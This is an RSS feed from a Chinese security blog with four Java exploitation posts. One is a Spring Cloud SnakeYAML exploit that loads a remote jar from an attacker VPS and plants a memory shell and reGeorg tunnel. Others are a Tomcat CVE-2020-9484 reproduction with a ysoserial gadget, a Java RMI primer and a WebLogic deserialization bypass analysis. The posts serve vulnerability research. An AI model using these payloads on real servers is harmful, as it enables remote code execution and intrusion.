<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>审计 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%AE%A1%E8%AE%A1/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 24 Sep 2020 11:13:02 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Spring Cloud SnakeYAML 一键注册内存cmd shell和reGeorg</title>
		<link>/web/1913.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Sep 2020 11:30:03 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[regeorg]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1913</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/yaml-payload README 利用条件： &#8211; 可以 POST 请求目标网站的 /env 接口设置属性...]]></description>
										<content:encoded><![CDATA[<h1>项目地址</h1>
<p>https://github.com/Y4er/yaml-payload</p>
<h1>README</h1>
<p>利用条件：<br />
&#8211; 可以 POST 请求目标网站的 <code>/env</code> 接口设置属性<br />
&#8211; 可以 POST 请求目标网站的 <code>/refresh</code> 接口刷新配置（存在 <code><span class="wpcom_tag_link"><a href="/tags/spring" title="spring" target="_blank">spring</a></span>-boot-starter-actuator</code> 依赖）<br />
&#8211; 目标依赖的 <code>spring-cloud-starter</code> 版本 &lt; 1.3.0.RELEASE<br />
&#8211; 目标可以请求攻击者的 HTTP 服务器（请求可出外网）</p>
<p>仅在JDK1.8及Spring1.x测试通过,其他版本自测.</p>
<p>利用方法如下：</p>
<h2>编译class文件然后打jar包</h2>
<pre><code class="language-bash line-numbers">cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
</code></pre>
<h2>托管 yml 和 jar 文件</h2>
<p>在自己控制的<code>vps</code>机器上开启一个简单<code>HTTP</code>服务器，端口尽量使用常见<code>HTTP</code>服务端口（80、443）</p>
<pre><code class="language-bash line-numbers"># 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
</code></pre>
<p>在网站根目录下放置后缀为<code>yml</code>的文件<code>yaml-payload.yml</code>,内容如下:</p>
<pre><code class="language-yaml line-numbers">!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
</code></pre>
<p>在网站根目录下放置打包好的<code>yaml-payload.jar</code></p>
<h2>设置<code>spring.cloud.bootstrap.location</code>属性</h2>
<pre><code class="line-numbers">POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
</code></pre>
<h2>刷新配置</h2>
<pre><code class="line-numbers">POST /refresh
Content-Type: application/x-www-form-urlencoded
</code></pre>
<h2>访问注入的shell</h2>
<ol>
<li>reGeorg: http://localhost:9092/api/v1/tunnel</li>
<li>cmd shell: http://localhost:9092/api/v1/game POST:code=whoami</li>
</ol>
<h1>参考</h1>
<ol>
<li>https://github.com/LandGrey/SpringBootVulExploit</li>
<li>https://www.anquanke.com/post/id/198886</li>
<li>https://github.com/artsploit/yaml-payload</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-9484 Tomcat Session Rce 复现分析</title>
		<link>/audit/1788.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 May 2020 02:23:07 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1788</guid>

					<description><![CDATA[环境 Tomcat 7.0.99 JDK7u21 影响版本 &#60;= 9.0.34 &#60;= 8.5.54 &#60;= 7.0.103 配置tomcat调试环境 修改catal...]]></description>
										<content:encoded><![CDATA[<h2>环境</h2>
<ol>
<li>Tomcat 7.0.99</li>
<li>JDK7u21</li>
</ol>
<h2>影响版本</h2>
<ol>
<li>&lt;= 9.0.34</li>
<li>&lt;= 8.5.54</li>
<li>&lt;= 7.0.103</li>
</ol>
<h2>配置<span class="wpcom_tag_link"><a href="/tags/tomcat" title="tomcat" target="_blank">tomcat</a></span>调试环境</h2>
<p>修改catalina.bat添加一行</p>
<pre><code class="line-numbers">set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
</code></pre>
<p>idea配置remote tomcat调试 端口为8001</p>
<h2>复现</h2>
<p>修改tomcat路径conf目录下的context.xml 在<code>&lt;Context&gt;</code>标签内加入以下配置</p>
<pre data-language=XML><code class="language-markup line-numbers">  &lt;Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1"&gt;
      &lt;Store className="org.apache.catalina.session.FileStore" directory="../sessions" /&gt;
  &lt;/Manager&gt;
</code></pre>
<p>为了方便burp抓包，修改server.xml端口为80</p>
<p>下载ysoserial使用idea导入之后修改jdk7u21的链</p>
<pre><code class="language-java line-numbers">package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload&lt;Object&gt; {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null &amp;&amp; (v.major &lt; 7 || (v.major == 7 &amp;&amp; v.update &lt;= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}
</code></pre>
<p>配置idea参数为<br />
<img src="https://y4er.com/img/uploads/20200525100696.png" alt="image.png" /><br />
然后运行生成<code>e:/evil.session</code>文件，将其保存到<code>D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions</code>目录中，burp抓包设置session为evil，触发反序列化达成RCE。</p>
<p><img src="https://y4er.com/img/uploads/20200525105570.png" alt="image.png" /><br />
<img src="https://y4er.com/img/uploads/20200525100287.png" alt="image.png" /></p>
<h2>分析</h2>
<p>在php中会将用户session以文件的形式存储到服务器中，<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>自然也可以，对于大型的企业应用，为了避障会将数据库或者session以文件的形式保存到文件中，那么以文件的形式保存对象自然就涉及到了序列化和反序列化。</p>
<p>通过复现漏洞可知该反序列化入口点在于<code>Context.xml</code>中配置的<code>org.apache.catalina.session.FileStore</code>，查看其代码在load()中发现readObjcet</p>
<pre><code class="language-java line-numbers">    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null &amp;&amp; file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }
</code></pre>
<p>代码很明显，通过id打开session文件，然后获取context的类加载器赋值给当前线程的类加载器，以此拿到当前容器Container中的lib，<code>session.readObjectData(ois)</code>中触发了反序列化RCE。</p>
<h2>修复</h2>
<p>在 <a class="wp-editor-md-post-content-link" href="https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad">java/org/apache/catalina/session/FileStore.java</a> 中判断了目录是否有效<br />
<img src="https://y4er.com/img/uploads/20200525101938.png" alt="image.png" /></p>
<h2>gadget用哪个?</h2>
<p>因为通过当前Container的类加载器反序列化对象，所以能拿到当前war包中的lib，所以有什么用什么，什么都没有就用jdk的gatget。</p>
<h2>遇到的问题</h2>
<p>直接使用ysoserial生成的payload不行，在<code>java/io/ObjectInputStream.java:299</code>中会验证前几位字节码，抛出异常，堆栈如下</p>
<pre><code class="language-java line-numbers">readStreamHeader:799, ObjectInputStream (java.io)
&lt;init&gt;:299, ObjectInputStream (java.io)
&lt;init&gt;:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
</code></pre>
<p>具体原因可能是因为yso对于反序列化对象写入文件的操作不一样，自己写一个serialize()就行了</p>
<h2>攻击面和约束条件的思考</h2>
<p>先谈约束条件吧，利用难度还是比较大的。<br />
1. 不是默认配置，需要手动增加<code>Context.xml</code><br />
2. 文件上传 文件后缀需要是<code>.session</code><br />
3. 需要知道绝对路径来跨目录</p>
<p>拓展下攻击面，比如redis，这里<code>@l1nk3r</code>师傅公开了<a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a>，问题出现在<code>RedisSession</code>类中，原理和9484差不多，id从jsessionid获取，value是反序列化数据，配合redis任意写入value来触发反序列化。</p>
<h2>参考</h2>
<ol>
<li><a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a></li>
<li>https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad</li>
<li>https://www.sec-in.com/article/394</li>
<li>https://www.cnblogs.com/potatsoSec/p/12931427.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java RMI原理及反序列化学习</title>
		<link>/audit/1221.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:16:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JRMP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1221</guid>

					<description><![CDATA[RMI 远程方法调用 RMI简介 Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span> 远程方法调用</p>
<h2>RMI简介</h2>
<p>Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p>
<p>接口的两种常见实现方式是：最初使用<span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>（Java Remote Message Protocol，Java远程消息交换协议）实现；此外还可以用与CORBA兼容的方法实现。RMI一般指的是编程接口，也有时候同时包括JRMP和API（应用程序编程接口），而RMI-IIOP则一般指RMI接口接管绝大部分的功能，以支持CORBA的实现。</p>
<p>最初的RMI API设计为通用地支持不同形式的接口实现。后来，CORBA增加了传值（pass by value）功能，以实现RMI接口。然而RMI-IIOP和JRMP实现的接口并不完全一致。</p>
<p>更多参考 <a class="wp-editor-md-post-content-link" href="https://www.jianshu.com/p/362880b635f0">JAVA RPC：从上手到爱不释手</a></p>
<h2>RMI架构</h2>
<p>RMI分为三部分<br />
1. Registry 类似网关<br />
2. Server 服务端提供服务<br />
3. Client 客户端调用</p>
<p>实现RMI所需的API几乎都在：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi：提供客户端需要的类、接口和异常；<br />
&#8211; java.rmi.server：提供服务端需要的类、接口和异常；<br />
&#8211; java.rmi.registry：提供注册表的创建以及查找和命名远程对象的类、接口和异常；</p>
<p>上代码，服务端</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 8989;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>上述代码中，在8989端口起了RMI服务，以键值对的形式存储了RMI_PATH和rmiInterface的对应关系，也就是<code>rmi://127.0.0.1:8989/hello</code>对应一个RMIImpl类实例，然后通过<code>Naming.rebind(RMI_NAME, rmiInterface)</code>绑定对应关系。再来看RMIInterface.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}
</code></pre>
<p>定义了RMIInterface接口，继承自Remote，然后定义了一个hello()方法作为接口。注意需要抛出RemoteException异常。继续看实现真正功能的类RMIImpl.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}
</code></pre>
<p>继承自UnicastRemoteObject类，并且实现之前定义的RMIInterface接口的hello()方法。UnicastRemoteObject类提供了很多支持RMI的方法，具体来说，这些方法可以通过JRMP协议导出一个远程对象的引用，并通过动态代理构建一个可以和远程对象交互的Stub对象。现在就定义好了Server端，来看Client</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>我们可以通过Registry拿到所有已经注册的服务，其中就包括我们注册的hello。然后可以通过Naming.lookup(RMI_NAME)去寻找对应的hello实例，这样就拿到了远程对象，可以直接通过对象来调用hello()方法。</p>
<p>在Java 1.4及 以前的版本中需要手动建立Stub对象，通过运行rmic命令来生成远程对象实现类的Stub对象，但是在Java 1.5之后可以通过动态代理来完成，不再需要这个过程了。运行Server之后再运行Client输出结果</p>
<pre><code class="line-numbers">Server
启动RMI服务在rmi://127.0.0.1:8989/hello
call hello().

Client
已经注册的服务：hello
this is hello().
</code></pre>
<p>那么Registry去哪了？通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分。我们用一张图来解释下。</p>
<p><img src="https://y4er.com/img/uploads/20200216017286.png" alt="image" /></p>
<h2>RMI的通信模型</h2>
<p>上一部分我提到了Stub对象，是因为RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，真正的调用过程如图所示。</p>
<p><img src="https://y4er.com/img/uploads/20200216011185.png" alt="image" /></p>
<p>Client调用远程方法时，会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)对象，然后将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象，RemoteCall序列化服务名和Remote对象，RemoteRef将序列化之后的数据通过socket传输到Server的RemoteRef。</p>
<p>Server的RemoteRef收到远程调用请求之后，将数据传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)，Skeleton调用RemoteCall<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>传过来的数据，Skeleton处理客户端请求如：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到Client。</p>
<p>Client反序列化Server返回的序列化数据从而获得远程对象的引用。然后Client调用远程方法，Server反射执行对应方法并将结果序列化传输给Client，Client反序列化结果，整个过程结束。</p>
<h2>RMI需要解决的问题</h2>
<p>其实很明显的有两大问题<br />
1. 数据的传递问题<br />
2. 远程对象如何发现</p>
<h3>数据传递</h3>
<p>Java中是存在引用类型的，当引用类型的变量作为参数被传递时，传递的不是值，而是内存地址，而对于一台机器上的同一个Java虚拟机来讲，引用传递当然没有问题，而对于分布式的RPC调用，引用传递的内存地址在两个Java虚拟机中并不对等，所以怎么解决呢？</p>
<ol>
<li>使用序列化传递</li>
<li>仍然用引用传递，每当远程主机调用本地主机方法时，该调用还要通过本地主机查询该引用对应的对象</li>
</ol>
<p>RMI中的参数传递和结果返回可以使用的三种机制（取决于数据类型）：</p>
<p>简单类型：按值传递，直接传递数据拷贝；<br />
远程对象引用（实现了Remote接口）：以远程对象的引用传递；<br />
远程对象引用（未实现Remote接口）：按值传递，通过序列化对象传递副本，本身不允许序列化的对象不允许传递给远程方法</p>
<h3>远程对象发现</h3>
<p>RMI解决方式就是类似于域名对应IP的解决方式，<code>rmi://host:port/name</code>，不同的name对应不同的远程对象，注意主机和端口都是可选的，如果省略主机，则默认运行在本地；如果端口也省略，则默认端口是1099。</p>
<h2>RMI的序列化和反序列化</h2>
<p>在RMI的通信过程中，用到了很多的序列化和反序列化，而在Java中，只要进行反序列化操作就可能有漏洞。RMI通过序列化传输Remote对象，那么我们可以构造恶意的Remote对象，当服务端反序列化传输过来的数据时，就会触发反序列化。</p>
<p>利用的话我们可以使用<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>，如图<br />
<img src="https://y4er.com/img/uploads/20200216016965.png" alt="image" /></p>
<p>客户端在sun.rmi.registry.RegistryImpl_Stub#bind中进行了序列化，这个类是动态生成的，所以在源码中找不到这个类。<br />
<img src="https://y4er.com/img/uploads/2020021601567.png" alt="image" /></p>
<p>服务端在sun.rmi.registry.RegistryImpl_Skel#dispatch 进行反序列化，同样是动态生成类。<br />
<img src="https://y4er.com/img/uploads/20200216014183.png" alt="image" /></p>
<h2>RMI-JRMP反序列化</h2>
<p>JRMP接口的两种常见实现方式：<br />
1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。<br />
2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。</p>
<p>JRMP在传输过程中也会自动序列化和反序列化，利用过程和RMI一样，不再此赘述。</p>
<h2>参考链接</h2>
<ol>
<li>https://javasec.org/javase/RMI/</li>
<li>https://blog.csdn.net/lmy86263/article/details/72594760</li>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://xz.aliyun.com/t/5392</li>
<li>https://blog.51cto.com/guojuanjun/1423392</li>
<li>https://blog.hufeifei.cn/2017/12/14/Java/RMI%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</li>
<li>https://www.jianshu.com/p/362880b635f0</li>
<li>https://www.anquanke.com/post/id/197829</li>
<li>https://xz.aliyun.com/t/2223 [这篇很清晰]</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Weblogic CVE-2016-3510 MarshalledObject反序列化绕过分析</title>
		<link>/audit/1207.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:13:19 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1207</guid>

					<description><![CDATA[Weblogic系列文章，还是绕过黑名单。 复现 https://github.com/5up3rc/weblogic_cmd 修改payload类型 成功执行命令，断点同样下在I...]]></description>
										<content:encoded><![CDATA[<p>Weblogic系列文章，还是绕过黑名单。<br />
<span id="more-1207"></span></p>
<h2>复现</h2>
<p>https://github.com/5up3rc/<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>_cmd 修改payload类型</p>
<p><img src="https://y4er.com/img/uploads/20200216011668.png" alt="image" /></p>
<p>成功执行命令，断点同样下在InvokerTransformer的transform()，堆栈如下。</p>
<pre><code class="">transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readResolve:58, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadResolve:1061, ObjectStreamClass (java.io)
readOrdinaryObject:1761, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
</code></pre>
<p>用的common-collection1，MarshalledObject 在 (weblogic.corba.utils) 中 <code>WEB-INFlibweblogic.jar!weblogiccorbautilsMarshalledObject.class</code></p>
<h2>分析</h2>
<p>同样是绕过黑名单，将<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>的对象封装进了weblogic.corba.utils.MarshalledObject，然后再对MarshalledObject进行序列化，生成payload字节码。由于MarshalledObject不在WebLogic黑名单里，可正常反序列化，在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化，可以绕过黑名单的限制。</p>
<p>看下weblogic_cmd中如何构造的</p>
<p><img src="/wp-content/uploads/2020/02/20200216018369.png" alt="image" /></p>
<p>handler是构造的cc对象，进入BypassPayloadSelector.selectBypass()</p>
<p><img src="/wp-content/uploads/2020/02/20200216015027.png" alt="image" /></p>
<p>根据TYPE决定使用什么来构造payload，跟进到marshalledObject(payload)</p>
<p><img src="/wp-content/uploads/2020/02/20200216017587.png" alt="image" /></p>
<p>将构造的cc对象封装进MarshalledObject对象marshalledObject，然后return，进入Serializables.serialize(_handler)</p>
<p><img src="/wp-content/uploads/2020/02/20200216016245.png" alt="image" /></p>
